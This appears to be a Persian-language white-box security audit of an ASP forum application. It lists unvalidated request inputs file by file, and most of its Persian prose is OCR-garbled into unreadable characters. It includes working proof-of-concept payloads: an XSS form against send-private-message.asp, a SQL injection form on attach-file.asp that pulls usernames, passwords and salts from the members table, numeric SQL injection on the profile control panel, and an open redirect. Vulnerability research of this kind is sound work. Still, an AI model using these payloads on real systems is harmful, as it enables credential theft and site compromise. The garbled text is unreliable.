Lol ailigs ol oo acliy 952 5 &l ol 00 solaiZ MlS & g0 4y asli  (pl sloaS aS 0uS axgs
Lo Ll Lalaio 45 8,95 o0 piixr 0 aslip opl Gl sl 0 b IS g wolgs 5l ol eoliwl ol o ASP
Ml @ litelae 5 |y (T ecidls (o 0525 5 o obo, 055 asliyy o 51 s 5 00,8 Cdes Jlns
w1y by ol slaaS aS ool pl 010 0939 sl ol o a5 96l 9 LI 8lge I S owiS o
oS xS e jo a5 1> wsls failgs B o] sleas a5 0ges DLL slo L a4 Lo olg oo o,
oS 05 odalice lox HTML

s97e 45k Ll sl a8 Cancn ol 5l (0,8 Ja5 Br0 w0 )ls dg2rg g ot sl sl 5550 50 AT gl 0SS
Al gl b s Lol 0 I o)l 0 ol 4 3585 4 Lo oBoum poe a5 1> w5yl Copoe
S5l BB o e Semme 4 5 (9 & @S (o oy p ) 2] La g 05 (ed o) 1, ADMIN
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-alert-approve.asp -



14 s

vAlert = Alerts.GetAlertInfo(request.querystring("id™))
Bb oS 65, |, VAlert s g AS oo Az GetAlertinfo() PUCTURIINY] P KU I S o] RS

as ValidateNumeric() oo o a5 jshilen .00l o INClUude-alerts.asp ;s 1, GetAlertInfo()
Syly G 9ae 3> a4 ol oo o) D93 b g alils 0gmg clible (sl 5l 39 include.asp Lt ,»
ol 050 oo ol 00l ol 40 i 00 Guts LB 5l sla ooly lawgi j g, 4 olxil oS
A3l (ga3 2y ] IS Lo

34 L

VAlert(AL_Message) = trim(request.form("reason™))
b 55 bxul o 04d e a3 5 o include-dertsasp Lt o CreateAlert() , a5

D98 oo Sz oS gl 5l xle ValidateNumeric()

al ert-llstasp -
14 L=

iAlertType = BBS.ValidateNumeric(request.querystring('type"))
Dgd oo Sy oS 54,9 5l ile ValidateNumeric() ab s bl o

alert-view.asp -
14 Lo

vAlert = Alerts.GetAlertInfo(request.querystring(“id"))

.category-view.asp -



31427 Ls
iCategoryl D = BBS.ValidateNumeric(request.querystring("cat™))
41 439 L
iCatLock = BBS.ValidateNumeric(request.querystring(*catlock™))
68 L

bCategoryCollapsed = BBS.ValidateBoolean(request.cookies(sBBSCookieRoot & "cat" &
vCategoryL.ist(0, index) & "collapsed"))
il o pd cuwl o ValidateBoolean() o

forgot-password.asp -
19 L

vUserInfo = BBS.GetUserlnfobyName(request.form(*username”))
b Js o wbincludeasp Ll o a5 0gs o pylee GetUserInfobyName() b Jlss «

colis s ValidateSOL() mb Lomss Lo e 555 o ois 45 jsbo los waisl; GEtMemberl D()

ML' ‘5‘04 ).u\.s w] ) O J).‘.S
23 L

rsMaster.open "select memberid from members where emailaddress=" &
BBS.ValidateSQL (trim(request.form("email™))) & ", dbConnection, adOpenForwardOnly,
adL ockReadOnly

Dy so o il s coml ValidateSQL() xb oo el o

1nbox.asp -



13 L
sFolderType = request.querystring(“folder")
ol @b opl a5 W0 pealys oS oy b |, ValidateField() ot sFolderType . Jlss «

3,5 52 Ll 53 6y o] e S oo 35l 098 o0 XSS ales el a5 1, Sla SIS

:30 L
ipmid = BBS.ValidateNumeric(request.querystring("view"))

34 L
for each ipmid in request("pmid")
JJs 4 48 i (0 9 @S (o0 o,z |, GELPTIVAtEMESSAQE() b oS (oo JLso 1, IPMID piie
; deletePrivateMessage() wcly o,0e 50 b cped  Cad gl ool oae S

el B3l (oS> | deleteSentPrivateM essage()

logon.asp -
A8 1 12 L

sPostUsername = request.form(" postusername™)

sPostPassword = ucase(request.form(” postpassword"))

sPostV erification = request.form(" postverification")

sRedirect = request.querystring("redirect")

SAction  =request.form("action")

sPasswordA ction = request.querystring(" password")

025,50 a8 oz job a lo e cpl Jlds @
s Wl 9 el oael GetUserlnfoByName(),CheckUsername() «lss o sPostUsername

s o2 ol 0 e gl cew] S e law Ly, GetMemberID() 4 5>



2 &S w35 o o SBBSUsername Juis 4 . SBBSUsername = sPostUsername
o 9 oo J o8 ValidateSQL() L acs, 55 ol opl o (87 L) el oasl Updatel ocation

RTINS BP-S R CRUIIN [PUEL gy IEA S UER [ PRV NP

register-accept.asp -
32 5 23 Lghs

vUserInfo(Ul_Username) = left(trim(request.form("username")), 20)
vUserinfo(Ul_Password) = left(trim(request.form("password")), 20)
vUserInfo(Ul_Realname) = left(trim(request.form("realname”)), 50)
vUserInfo(Ul_WebsiteAddr)= left(trim(request.form("websiteaddr")), 75)
vUserInfo(Ul_EmailAddr) = left(trim(request.form("emailaddr")), 75)
vUserinfo(Ul_ICQNumber) = left(trim(request.form("icgnumber")), 15)
vUserinfo(UI_AIM) = left(trim(request.form("aim")), 75)
vUserInfo(Ul_MSN) = left(trim(request.form(*msn")), 75)
vUserlnfo(Ul_Yahoo) = left(trim(request.form("yahoo")), 75)

5l &le SQLTHM() 56 Lul yo 9 .00] 0,15 4 Createlser() ,o kul oS sas o i b 4 5 o5a,
Dgd oo Sbyhs oS ol ]
43 L

sPostV erification = trim(request.form("postverification"))

reset-password.asp -

14 L



vUserinfo = BBS.GetUserlnfobyName(request.form("username’))
s pdy ! GetUserInfobyName() a5 ooous SL3

:send-private-message.asp -
:33 L
VReplyMessagel nfo = Messenger.GetPrivateM essage(request.querystring(“replyid"))
Figd oo JyuS slael a5 > Cans pd ol GetPrivateM essage() e o
41 Ls

vMessagelnfo(PM_ToName) =
BBS.GetUserInfobyl D(request.querystring(“toid"))(Ul_Username).
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vToString = split(request.form(“toid"), "|")
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response.write vToString(index) & "<br/>" & CRLF

S92y oy oo 10QIN M3 55 a5 239 XSS g5 51 50y camwl odgl ol o Qlz b= o

el 5 US4 ol exploit g o)l

<form action="send-private-message.asp" method="post">

<input type="hidden" name="action" value="post" />

<input type="text" name="toid" value="<script>alert('’X SS)</script>" />
<br />

<input type="submit" name="" value="submit" />
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91,90 Ls

vM essagel nfo(PM _Subject) = request.form("subject”)
vMessagelnfo(PM_Body) = request.form("body")
s pdy o] &5 ] asie SENAPrivateMessage() b « a5 L

View-group.asp -
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iGroupl D = request.querystring("gid")
Al e Slael S s 0 ListGroupMembers() ; GetGroupName() g

view-profile.asp -
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iUserID = BBS.ValidateNumeric(request.querystring("uid™"))
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-add-event.asp -
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iCalendarlD = request.querystring("calendarid")
SAction = request.querystring("action")
iEventID = request.querystring("eventid")
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vEventInfo(CEV_Owner) = request.form("owner")

vEventInfo(CEV _alldayevent) = request.form("alldayevent")
vEventInfo(CEV _timeofdayhour) = request.form("timeofdayhour")
vEventInfo(CEV _timeofdayminute) = request.form(*timeofdayminute™)
vEventInfo(CEV _timeofdaymeridian)= request.form("timeofdaymeridian")
vEventInfo(CEV_AllowSignups) = request.form("allowsignups")
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iCAcalendarid = request("calendarid")
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alert-post.asp -
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vMessagel nfo = Forum.GetM essagel nfo(request("mid"))
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VAlertinfo(AL_Message) = trim(request.form("message”))
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BBS.ValidateSQL (VAlertinfo(AL_Message))

attach-file.asp -
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iMessagel D = request.querystring("mid")
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SQL = "select max(sortorder) as maxsort from attachments where messageid=" & iMessagel D
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<form ENCTY PE="multipart/form-data" method="post" action="/forumg/attach-
file.asp?action=postupload& amp;mid=[YOUR MSG ID]& amp;attachmentid= or



1=convert(int,(select top 1 username%o2bpassword%2bsalt from members where
username<>"))">

File : <input type='file’' name="attachment' size='40">

<br />

<input type="submit’ value="Submit>

</form>

.email-link.asp -
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sFromName = request.form("fromname")
sRecipient = request.form("recipient")
sFromAddress = request.form("fromaddress")
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Jprofile/control panel .asp -
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SQL =SQL & " timeoffset=" & vUpdateUserinfo(Ul_TimeOffset) & ", "



SQL =SQL & "invishle=" & vUpdateUserinfo(Ul _Invisible) & ", "
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<form method="post' name="updateprofil€ action="/profile/control panel .asp’>

Injection1 (Numeric Update):<input type="text" name="invisible" value="1" /><br />

Injection2 (Numeric Update):<input type="text" name="timeoffset" value="1" /><br />

<input type="hidden"
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<input type="submit"

<fform>
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name="action" value="updateinfo" />
name="showemail" value="1" />
name="usesignature" value="1" />
name="viewsignature" value="1" />
name="disablepostcount" value="1" />
name="userichedit" value="1" />
name="emailnotifications" value="1" />
name="sendprivatenotifications' value="1" />
name="includebody" value="1" />
name="language" value="1" />
name="disallowbroadcasts" value="1" />
name="viewavatars' value="1" />

/>
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sRedirect = request.querystring("redirect")

response.redirect sRedirect
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SQL = SQL & BBS.ValidateSQL (stOptionStruct(Ol_MemberiD)) & *, "
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	خواننده گرامی، شما می توانید نظرات خود را به آدرس irsdl {4t[ yahoo }d0t] com ارسال فرمایید. لطفا در موضوع ایمیل، خلاصه ای ازعنوان مقاله را ذکر فرمایید.
	توجه: از آنجاییکه این مقاله قسمتی از یک مقاله بزرگتر می باشد، ممکن است اشاراتی به فصول قبلی - که بیشتر راجع به مهمترین آسیب پذیری های وب از دیدگاه نویسنده و OWASP.org می باشد - داشته باشد.
	2.3.3. یافتن آسیب پذیری ها با داشتن کدهای منبع (حالت جعبه سفید):
	تحقیق بیشتر: در صورتی که از flow chartهای توابع در نحوه پیاده سازی، روابط و وظایف آنها استفاده کنیم، قادر خواهیم بود آسیب پذیری های منطقی را به خوبی پیدا کنیم. جستجوی فایل به فایل برای نقاط شروع پروسه ها در ترسیم flow chartها پیشنهاد می شود.

